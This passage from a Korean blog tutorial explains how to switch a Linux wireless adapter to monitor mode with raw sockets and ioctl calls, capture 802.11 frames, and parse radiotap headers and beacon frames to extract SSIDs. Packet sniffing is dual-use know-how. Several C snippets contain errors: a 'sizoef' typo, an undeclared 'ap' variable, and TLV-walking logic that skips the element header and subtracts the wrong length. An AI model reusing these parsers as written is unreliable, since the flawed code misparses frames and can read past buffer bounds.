&lt;p&gt;그럼 먼저 무선 랜 인터페이스를 디바이스 파일과 같이 여는 방법을 알아보겠다. 그 방법은 바로 소켓을 여는 것이다. 즉, 디바이스 파일 기술자에 적용되는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl()&lt;/code&gt; 연산이 네트워크 소켓에도 적용될 수 있다는 것이다[8].&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;arpa/inet.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;linux/if_ether.h&amp;gt;

int open_wlan_if(void)
{
    int fd;

    fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (fd == -1)
        fprintf(stderr, &quot;Cannot open socket..\n&quot;);
    return fd;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그러나 이 소켓이 디바이스 파일처럼 그 디바이스를 특정하는 것은 아니다. 그래서 이 소켓 파일을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl()&lt;/code&gt;에 전달하여 무선 랜 인터페이스를 제어하기 위해서는 해당 인터페이스를 특정하기 위한 정보를 커널에게 전달해주어야 한다. Linux &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl()&lt;/code&gt;에는 command에 해당하는 데이터를 인자로 전달할 수 있다. 따라서 인터페이스를 특정하기 위한 정보를 이 인자에 포함시켜 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl()&lt;/code&gt;에 전달하면 된다[7].&lt;/p&gt;

&lt;p&gt;이제 특정 무선 랜 인터페이스를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl()&lt;/code&gt;로 제어하는 방법을 알아보겠다. Linux는 네트워크 디바이스를 설정하기 위한 표준적인 ioctls를 지원한다. 이는 모든 소켓 파일 기술자와 함께 사용될 수 있고, 다음과 같은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct ifreq&lt;/code&gt;를 인자로 전달하여 사용하게 된다[9]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;struct ifreq {
    char ifr_name[IFNAMSIZ]; /* Interface name */
    union {
        struct sockaddr ifr_addr;
        struct sockaddr ifr_dstaddr;
        struct sockaddr ifr_broadaddr;
        struct sockaddr ifr_netmask;
        struct sockaddr ifr_hwaddr;
        short           ifr_flags;
        int             ifr_ifindex;
        int             ifr_metric;
        int             ifr_mtu;
        struct ifmap    ifr_map;
        char            ifr_slave[IFNAMSIZ];
        char            ifr_newname[IFNAMSIZ];
        char           *ifr_data;
    };
};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;이때 커널은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ifr_name[]&lt;/code&gt;으로 인터페이스를 식별하고, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;union&lt;/code&gt; structure에 해당하는 값을 가져오거나, 해당하는 값으로 설정한다. 위 코드의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;union&lt;/code&gt; structure에서 무선 랜 어댑터를 모니터 모드로 바꾸기 위한 멤버는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ifr_flags&lt;/code&gt;이다. 이 멤버는 해당 디바이스 (여기서는 무선 랜 인터페이스)의 활성화된 플래그를 얻거나 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt; command: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SIOCGIFFLAGS&lt;/code&gt;) 설정할 때 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt; command: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SIOCSIFFLAGS&lt;/code&gt;) 사용된다. 이 멤버는 다음과 같은 값들에 대한 비트 마스크를 가질 수 있다[7, 9]:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;IFF_UP            Interface is running.
IFF_BROADCAST     Valid broadcast address set.
IFF_DEBUG         Internal debugging flag.
IFF_LOOPBACK      Interface is a loopback interface.
IFF_POINTOPOINT   Interface is a point-to-point link.
IFF_RUNNING       Resources allocated.
IFF_NOARP         No arp protocol, L2 destination address not
                set.
IFF_PROMISC       Interface is in promiscuous mode.
IFF_NOTRAILERS    Avoid use of trailers.
IFF_ALLMULTI      Receive all multicast packets.
IFF_MASTER        Master of a load balancing bundle.
IFF_SLAVE         Slave of a load balancing bundle.
IFF_MULTICAST     Supports multicast
IFF_PORTSEL       Is able to select media type via ifmap.
IFF_AUTOMEDIA     Auto media selection active.
IFF_DYNAMIC       The addresses are lost when the interface
                goes down.
IFF_LOWER_UP      Driver signals L1 up (since Linux 2.6.17)
IFF_DORMANT       Driver signals dormant (since Linux 2.6.17)
IFF_ECHO          Echo sent packets (since Linux 2.6.25)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 값들 중에서 여기서 관심 가지는 비트 마스크는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IFF_UP&lt;/code&gt; 뿐임을 기억하라. 이 값은 인터페이스 모드를 바꿀 때 잠시 인터페이스를 down시키고 다시 up시키는데 사용된다. 이를 C 코드로 작성하면 다음과 같다[9, 10]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;linux/if_ether.h&amp;gt;

int if_down(const int fd, /* socket file descriptor */
          const char *ifname) /* interface name */
{
    struct ifreq ifr;
    
    if (fd == -1)
        return -1;

    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);    
    ifr.ifr_flags = (short) 0xffff;
    ifr.ifr_flags &amp;amp;= ~IFF_UP; /* interface down */
    if (ioctl(fd, SIOCSIFFLAGS, &amp;amp;ifr) == -1) {
        fprintf(stderr, &quot;Interface down failed..\n&quot;);
	return -1;
    }
    return 0;
}

int if_up(const int fd, /* socket file descriptor */
          const char *ifname) /* interface name */
{
    struct ifreq ifr;
    
    if (fd == -1)
        return -1;
    
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);    
    ifr.ifr_flags = 0;
    ifr.ifr_flags |= IFF_UP; /* interface up */
    if (ioctl(fd, SIOCSIFFLAGS, &amp;amp;ifr) == -1) {
        fprintf(stderr, &quot;Interface up failed..\n&quot;);
	return -1;
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그럼 무선 랜 인터페이스 모드는 어디에 정의되어 있을까? 바로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include/uapi/linux/wireless.h&lt;/code&gt;에 정의되어 있다[9, 10].&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* Modes of operation */
#define IW_MODE_AUTO	0	/* Let the driver decides */
#define IW_MODE_ADHOC	1	/* Single cell network */
#define IW_MODE_INFRA	2	/* Multi cell network, roaming, ... */
#define IW_MODE_MASTER	3	/* Synchronisation master or Access Point */
#define IW_MODE_REPEAT	4	/* Wireless Repeater (forwarder) */
#define IW_MODE_SECOND	5	/* Secondary master/repeater (backup) */
#define IW_MODE_MONITOR	6	/* Passive monitor (listen only) */
#define IW_MODE_MESH	7	/* Mesh (IEEE 802.11s) network */
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그러나 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct ifreq&lt;/code&gt;에는 위 값들을 유의미하게 저장할 멤버가 없다. 즉, 위 값들을 가져오거나 설정하기 위해서는 다른 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt; command를 사용해야 하고, 이에 해당하는 구조체가 필요하다. 그 command와 구조체는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include/uapi/linux/wireless.h&lt;/code&gt;에 정의되어 있으며, 각각 다음과 같다[10]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* ... */

#define SIOCSIWMODE	0x8B06		/* set operation mode */
#define SIOCGIWMODE	0x8B07		/* get operation mode */

/* ... */

/*
 * This structure defines the payload of an ioctl, and is used
 * below.
 *
 * Note that this structure should fit on the memory footprint
 * of iwreq (which is the same as ifreq), which mean a max size of
 * 16 octets = 128 bits. Warning, pointers might be 64 bits wide...
 * You should check this when increasing the structures defined
 * above in this file...
 */
union iwreq_data {
	/* Config - generic */
	char		name[IFNAMSIZ];
	/* Name : used to verify the presence of  wireless extensions.
	 * Name of the protocol/provider... */

	struct iw_point	essid;		/* Extended network name */
	struct iw_param	nwid;		/* network id (or domain - the cell) */
	struct iw_freq	freq;		/* frequency or channel :
					 * 0-1000 = channel
					 * &amp;gt; 1000 = frequency in Hz */

	struct iw_param	sens;		/* signal level threshold */
	struct iw_param	bitrate;	/* default bit rate */
	struct iw_param	txpower;	/* default transmit power */
	struct iw_param	rts;		/* RTS threshold */
	struct iw_param	frag;		/* Fragmentation threshold */
	__u32		mode;		/* Operation mode */
	struct iw_param	retry;		/* Retry limits &amp;amp; lifetime */

	struct iw_point	encoding;	/* Encoding stuff : tokens */
	struct iw_param	power;		/* PM duration/timeout */
	struct iw_quality qual;		/* Quality part of statistics */

	struct sockaddr	ap_addr;	/* Access point address */
	struct sockaddr	addr;		/* Destination address (hw/mac) */

	struct iw_param	param;		/* Other small parameters */
	struct iw_point	data;		/* Other large parameters */
};

/*
 * The structure to exchange data for ioctl.
 * This structure is the same as &apos;struct ifreq&apos;, but (re)defined for
 * convenience...
 * Do I need to remind you about structure size (32 octets) ?
 */
struct iwreq {
	union
	{
		char	ifrn_name[IFNAMSIZ];	/* if name, e.g. &quot;eth0&quot; */
	} ifr_ifrn;

	/* Data part (defined just above) */
	union iwreq_data	u;
};

/* ... */
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ifr_name[]&lt;/code&gt; 역할을 하는 것은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ifrn_name[]&lt;/code&gt;이다. 그리고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct iwreq_data&lt;/code&gt;의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mode&lt;/code&gt; 멤버를 통해 현재 모드 값을 가져오거나, 모드 값을 설정할 수 있다. 이를 C 코드로 작성하면 다음과 같다[10]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;linux/wireless.h&amp;gt;

int iw_set_monitor_mode(const int fd, /* socket file descriptor */
                        const char *ifname) /* interface name */
{
    struct iwreq iwr;
    
    if (fd == -1)
        return -1;

    strncpy(iwr.ifr_ifrn.ifrn_name, ifname, IFNAMSIZ);
    iwr.u.mode = IW_MODE_MONITOR;
    if (ioctl(fd, SIOCSIWMODE, &amp;amp;iwr) == -1) {
        fprintf(stderr, &quot;Setting monitor mode failed..\n&quot;);
	return -1;
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;지금까지 설명한 것을 종합하여 어댑터 모드를 설정하는 순서를 정리하면 다음과 같다:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. Open socket file
2. Set interface flag to down
3. Set interface wireless mode flag to IW_MODE_MONITOR
4. Set inter face flag to up
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 순서에 대한 완전한 예제 코드는 Wireless tool in C의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prv_ieee80211_set_if_mode()&lt;/code&gt;를 참고하라.&lt;/p&gt;

&lt;h3 id=&quot;capturing-wireless-frames-in-the-air&quot;&gt;Capturing wireless frames in the air&lt;/h3&gt;
&lt;p&gt;이렇게 모니터 모드가 구성되었으므로 무선 랜 프레임을 캡처할 수 있다. 그 방법은 바로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read()&lt;/code&gt; system call을 호출하는 것이다[16].&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

/*
 * admp_hexdump: hexdump function written by ccbrown;
 * thanks to ccbrown!!
 */
void ccbrown_hexdump(const void* data, size_t size)
{
    char ascii[17];
    size_t i, j;

    ascii[16] = &apos;\0&apos;;
    for (i = 0; i &amp;lt; size; ++i) {
	printf(&quot;%02X &quot;, ((unsigned char *) data)[i]);
	if (((unsigned char *) data)[i] &amp;gt;= &apos; &apos; 
	    &amp;amp;&amp;amp; ((unsigned char *) data)[i] &amp;lt;= &apos;~&apos;) {
	    ascii[i % 16] = ((unsigned char *) data)[i];
	} else {
	    ascii[i % 16] = &apos;.&apos;;
	}
	if ((i + 1) % 8 == 0 || i + 1 == size) {
	    printf(&quot; &quot;);
	    if ((i + 1) % 16 == 0) {
		printf(&quot;|  %s \n&quot;, ascii);
	    } else if (i + 1 == size) {
		ascii[(i + 1) % 16] = &apos;\0&apos;;
		if ((i + 1) % 16 &amp;lt;= 8) {
		    printf(&quot; &quot;);
		}
		for (j = (i + 1) % 16; j &amp;lt; 16; ++j) {
		    printf(&quot;   &quot;);
		}
		printf(&quot;|  %s \n&quot;, ascii);
	    }
	}
    }
}

int ieee80211_pcap(int fd) /* socket file descriptor */
{
    uint8_t buff[BUFSIZ];
    ssize_t len;
    
    if (fd == -1)
        return -1;
    
    while ((len = read(fd, buff, BUFSIZ)) &amp;gt;= 0)
        ccbrown_hexdump(buff, len);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드를 보면 무선 랜 프레임을 캡처하는 것은 매우 간단해보인다. 그러나 문제는 위 코드로 출력되는 값들의 의미를, 아스키 코드로 표현되는 것이 아니라면 전혀 알 수 없다는 것이다. 그래서 무선 랜 프레임을 분석해볼 필요가 있다.&lt;/p&gt;

&lt;h2 id=&quot;wireless-frame-analysis&quot;&gt;Wireless Frame Analysis&lt;/h2&gt;
&lt;p&gt;무선 랜 프레임에는 그 크기가 정해진 필드도 있지만 가변 필드도 존재한다. 그리고 이러한 가변 필드들은 무선 랜 프레임 파싱을 어렵게 만든다. 하지만 가변 필드에도 나름의 원칙이 있기 때문에 이를 기억한다면 파싱하는 것은 그다지 어렵지 않다. 그럼 Beacon frame (무선 랜 AP 또는 와이파이 공유기가 자신의 존재를 알리는 프레임)으로부터 SSID (무선 랜 AP의 이름 또는 와이파이 공유기 이름)를 파싱하는 것을 목표로, 시작해보겠다.&lt;/p&gt;

&lt;p&gt;무선 랜 프레임은 일반적으로 radiotap header (de facto standard)와 IEEE 802.11 frame으로 구성된다. 여기서는 IEEE 802.11 frame에서 SSID만 추출할 것이기 때문에 radiotap header가 그다지 비중있게 다루어지지는 않지만, radiotap header는 신호 세기와 같은 유용한 정보들을 담고 있고 이를 파싱하는 것은 예제로 제공할 것이다[13, 14].&lt;/p&gt;

&lt;p&gt;Radiotap header를 분석하기에 앞서서, 가변 필드의 구성 원칙을 알아보자. 무선 랜 프레임에서 가변 필드는 TLD 형식으로 구성된다. TLD 형식이란 Type (EID로 표현됨), Length, Data로 필드를 구성하는 형식을 의미한다. 이때 type은 해당 필드가 어떤 정보를 가지고 있는지, length는 해당 필드의 길이, data는 실제 데이터를 의미한다. 그럼 우리는 다음과 같이 가변 필드에 대한 구조체를 정의할 수 있다[12]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;struct tld {
    unsigned int type;
    size_t len;
    unsigned char data[];
};
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;radiotap-header&quot;&gt;Radiotap header&lt;/h3&gt;
&lt;p&gt;Radiotap header는 다음과 같이 구성된다[13]:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;             [version][padding][length][present|extended][ ... ]
byte length:    1        1        2       4       4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 그림에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;present&lt;/code&gt; 부분이 의미하는 것은 4 바이트 값인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;present&lt;/code&gt;에 따라 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extended&lt;/code&gt;가 될 수도 있고 안될 수도 있다는 것이다. Radiotap header에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;present&lt;/code&gt; 값에 따라 추가되는 필드들이 존재한다. 즉, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;present&lt;/code&gt; 값에 따라 시작 주소에서 추출하고자 하는 필드까지의 offset이 달라진다는 것이다[13].&lt;/p&gt;

&lt;p&gt;이를 파싱하기 위해서는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;present&lt;/code&gt;의 각 비트에 따른 길이 값을 테이블로 만들고 ([13]의 https://www.radiotap.org/fields/defined 참고) 인덱스 기반으로 offset을 구해야 한다. 이러한 방식으로 신호 세기 필드까지의 offset을 구하는 C 코드를 작성하면 다음과 같다[10, 13, 14]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;

struct radiotap_hdr {
    uint8_t ver; /* version */
    uint8_t pad; /* padding */
    uint16_t len; /* entire length of radiotap header */
    uint32_t present;
    uint8_t variable[]; /* payload */
} __attribute__((__packed__));

unsigned int radiotap_get_offset(uint64_t present,
			        unsigned int bit_loc) /* bit location of
				                         specific field */
{
    unsigned int offsettab[] = {
	sizeof(uint64_t),	/* TSFT */
	sizeof(uint8_t),	/* Flags */
	sizeof(uint8_t),	/* Rate */
	sizeof(uint16_t),	/* Channel */
	sizeof(uint8_t) + sizeof(uint8_t) /* hop set + hop pattern */

	/* [TODO] Add defined fields */
    };
    unsigned int offset;
    uint64_t mask, i;

    offset = 0;
    for (i = 0; i &amp;lt; bit_loc; i++) {
	mask = 1 &amp;lt;&amp;lt; i;
	if (mask &amp;amp; present)
	    offset += offsettab[i];
    }
    return offset;
}

int get_antsig(void *buff, uint16_t len)
{
    unsigned int offset;
    struct radiotap_hdr *header;
    
    header = buff;
    offset = radiotap_get_offset(header-&amp;gt;present, 5);
    if (header-&amp;gt;present &amp;amp; (1 &amp;lt;&amp;lt; 31))
        offset += sizoef(uint32_t);
    return *(header-&amp;gt;variable + offset);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그럼 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bit_loc&lt;/code&gt;은 어떻게 구할 수 있을까? 이것 또한 [13]의 https://www.radiotap.org/fields/defined 를 참고하여 해당 필드가 몇 번째 비트로 정의되어 있는지 알 수 있다.&lt;/p&gt;

&lt;p&gt;이러한 radiotap header가 앞에 존재할 때 IEEE 802.11 frame의 시작 주소를 구하는 방법은 무엇일까? 바로 상기의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct radiotap_hdr&lt;/code&gt;의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;len&lt;/code&gt; 멤버를 캡처된 데이터의 시작주소에 더하는 것이다. 이제 IEEE 802.11 frame을 분석할 차례다.&lt;/p&gt;

&lt;h3 id=&quot;ieee-80211-frame-analysis&quot;&gt;IEEE 802.11 Frame Analysis&lt;/h3&gt;
&lt;p&gt;Generic한 무선 랜 프레임은 다음과 같이 구성된다[15]:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;             [Frame  ][Duration][addr1][addr2][addr3][Sequence][addr4][ ... ][FCS]
              Control][ID      ][     ][     ][     ][Control ][     ][     ][   ]
byte length:    2        2         6      6      6      2         6    0-2312  4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Generic한 프레임이라는 것은 프레임의 종류에 따라 헤더의 구성이 달라질 수 있다는 뜻이다. 그리고 프레임의 종류는 위 헤더의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Frame Control&lt;/code&gt; 필드의 값에 따라 결정된다. 이 필드는 다시 여러 비트 필드로 나뉘어지는데, 여기서 관심을 가지는 필드는 type과 subtype이다. 전자는 프레임의 종류를 결정하고, 전자로부터 결정된 프레임 종류 내에서의 하위 분류를 나타낸다[15].&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;      [Protocl][Type ][Subtype ][To DS][From DS][More][Retry][Power][WEP][Rsvd]
      [Version][     ][        ][     ][       ][Flag][     ][Mgmt ][   ][    ]
bit   :  2        2         4       1       1       1     1     1     1    1
length
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;여기서 추출하고자 하는 정보는 beacon frame에서의 SSID이므로 beacon frame에 초점을 맞출 것이다. 먼저 frame control 필드의 type은 다음과 같은 값을 가질 수 있고,&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@ 00: Management frame
@ 01: Control frame
@ 10: Data frame
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;management frame의 subtype은 다음과 같이 값에 따라 나뉘어진다[15]:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@ 0000: Association request frame
@ 0001: Association response frame
@ 0010: Reassociation request frame
@ 0011: Reassociation response frame
@ 0100: Probe request frame
@ 0101: Probe response frame
@ 1000: Beacon frame
@ 1001: ATIM
@ 1010: Association destroy frame
@ 1011: Authentication frame
@ 1100: Deauthentication frame
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 정보를 이용하여 캡처된 프레임이 management frame인지 확인하는 것을 C 코드로 작성하면 다음과 같다[10]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

struct admp_ieee80211_frame_control {
    uint16_t proto: 2,
	    type: 2,
	    subtype: 4,
	    ds: 2,		/* [tods][fromds] */
	    moreflag: 1,
	    retry: 1,
	    pwrmgmt: 1,
	    moredata: 1,
	    wep: 1,
	    order: 1;
} __attribute__((__packed__));

struct admp_ieee80211_sequence_control {
    uint16_t fragnum: 4,
	    seqnum: 12;
} __attribute__((__packed__));

/*
 * This header structure is for generic case. But in IEEE 802.11,
 * header structure varies by frame categories.
 */
struct admp_ieee80211_mac_frame {
    struct admp_ieee80211_frame_control fc;
    uint16_t durid;		/* Duration / ID */
    uint8_t addr1[6];
    uint8_t addr2[6];
    uint8_t addr3[6];
    struct admp_ieee80211_sequence_control seqctl;
    uint8_t addr4[6];
    uint8_t variable[];
} __attribute__((__packed__));

struct admp_ieee80211_mac_trailer {
    uint32_t fcs;
} __attribute__((__packed__));

/* ieee80211_parser: parse given buff as a generic frame */
static int ieee80211_parser(void *buff, /* captured frame */
	      	            ssize_t len) /* captured frame&apos;s length */
{
    struct admp_ieee80211_mac_frame *frame;

    if (buff == NULL || ap == NULL || len &amp;lt; 0) {
        fprintf(stderr, &quot;Invalid arguments..\n&quot;);
	return -1;
    }
    
    frame = buff;
    switch (frame-&amp;gt;fc.type) {
    case 0b00:
	/* Management frame */
	break;
    case 0b01:
	/* Control frame */
	break;
    case 0b10:
	/* Data frame */
	break;
    default:
	break;
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;이렇게 수신된 프레임이 management frame으로 확인되면, 헤더의 구성이 달라진다. Management frame, 그 중에서도 beacon frame의 헤더 구성은 다음과 같다[15]:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;             [Frame  ][Duration][addr1][addr2][addr3][Sequence][ ... ][FCS]
              Control][ID      ][     ][     ][     ][Control ][     ][   ]
byte length:    2        2         6      6      6      2       0-2312  4


[ ... ]:     [Timestamp][Beacon  ][Capacity   ][  SSID  ][Option field]
             [         ][Interval][Information][        ][            ]
byte length:     8          2          3        variable    variable
                                                length      length
             &amp;lt;-----------------Required-----------------&amp;gt;&amp;lt;--Optional--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 헤더의 가변 길이로 표시된 SSID와 Option field가 바로 가변 필드에 해당하는 부분이며, TLD 형식을 따른다. 여기서 상기에 설명한 TLD 구성 원칙을 기억하면서 beacon frame을 파싱하는 코드를 작성하면 다음과 같다[10, 12, 15]:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

#define IS_X_IN_RANGE(min, x, max) (((x) &amp;gt;= (min)) &amp;amp;&amp;amp; (x) &amp;lt; (max))

struct admp_ieee80211_mgmt_frame {
    /* header */
    struct admp_ieee80211_frame_control fc;
    uint16_t durid;
    uint8_t addr1[6];
    uint8_t addr2[6];
    uint8_t addr3[6];
    struct admp_ieee80211_sequence_control seqctl;
    uint8_t variable[];
} __attribute__((__packed__));

struct admp_ieee80211_beacon {
    uint64_t tmstamp;		/* Timestamp */
    uint16_t interval;		/* Beacon interval */
    uint16_t capinfo;		/* Capability information */
    uint8_t variable[];		/* Information Elements */
} __attribute__((__packed__));

struct admp_ieee80211_tlv {
    uint8_t type;		/* EID */
    uint8_t len;		/* Length */
    uint8_t value[];		/* Data */
} __attribute__((__packed__));

/* ieee80211_beacon_parser: parse given frame as a beacon frame */
static int
ieee80211_beacon_parser(struct admp_ieee80211_mgmt_frame *frame,
			    ssize_t len)
{
    unsigned int done;
    struct admp_ieee80211_beacon *beacon;
    struct admp_ieee80211_tlv *ie;

    if (frame == NULL || ap == NULL || len &amp;lt; 0) {
        fprintf(stderr, &quot;Invalide argument..\n&quot;);
	return -1;
    }

    beacon = (struct admp_ieee80211_beacon *) frame-&amp;gt;variable;
    ie = (struct admp_ieee80211_tlv *) beacon-&amp;gt;variable;
    done = 0;
    while (len &amp;gt; 0 &amp;amp;&amp;amp; done == 0) {
	if (!IS_X_IN_RANGE(0, ie-&amp;gt;len, len))
	    break;
	
	switch (ie-&amp;gt;type) {
	case 0x00:
	    /* SSID */
	    strncpy(ap-&amp;gt;ssid, (char *) ie-&amp;gt;value, ie-&amp;gt;len);
	    break;
	default:
	    done = 1;
	    break;
	}
	ie = (struct admp_ieee80211_tlv *) ((uint8_t *) ie + ie-&amp;gt;len);
	len -= ie-&amp;gt;len;
    }
    return 0;
}

/* ieee80211_mgmt_parser: parse given buff as a management frame */
static int ieee80211_mgmt_parser(void *buff, /* captured frame */
					    ssize_t len) /* captured frame&apos;s length */
{
    struct admp_ieee80211_mgmt_frame *frame;

    if (buff == NULL || ap == NULL || len &amp;lt; 0) {
        fprintf(stderr, &quot;Invalid arguments..\n&quot;);
	return -1;
    }
    
    frame = buff;

    /* printf(&quot;%d\n&quot;, frame-&amp;gt;fc.subtype); */
    switch (frame-&amp;gt;fc.subtype) {
    case 0b0000:
	/* Association request frame */
	break;
    case 0b1000:
	/* Beacon frame */
	ieee80211_beacon_parser(frame, len);
	break;
    default:
	break;
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;지금까지 가능한 linux kernel이 제공하는 system call과 C 언어의 표준 라이브러리가 제공하는 기능만을 사용하여 무선 랜 프레임을 캡처하는 프로그램을 작성하기 위한 지식을 알아보았다. 이는 무선 랜 인터페이스를 모니터 모드로 바꾸는 것으로 시작하여 무선 랜 프레임 중 beacon frame을 파싱하는 코드를 작성하는 것으로 끝을 맺었다. 비록 코드 조각으로 예제를 제공하였지만, 완전한 예제 코드를 이해하는 데에는 무리가 없을 것이라고 생각한다.&lt;/p&gt;

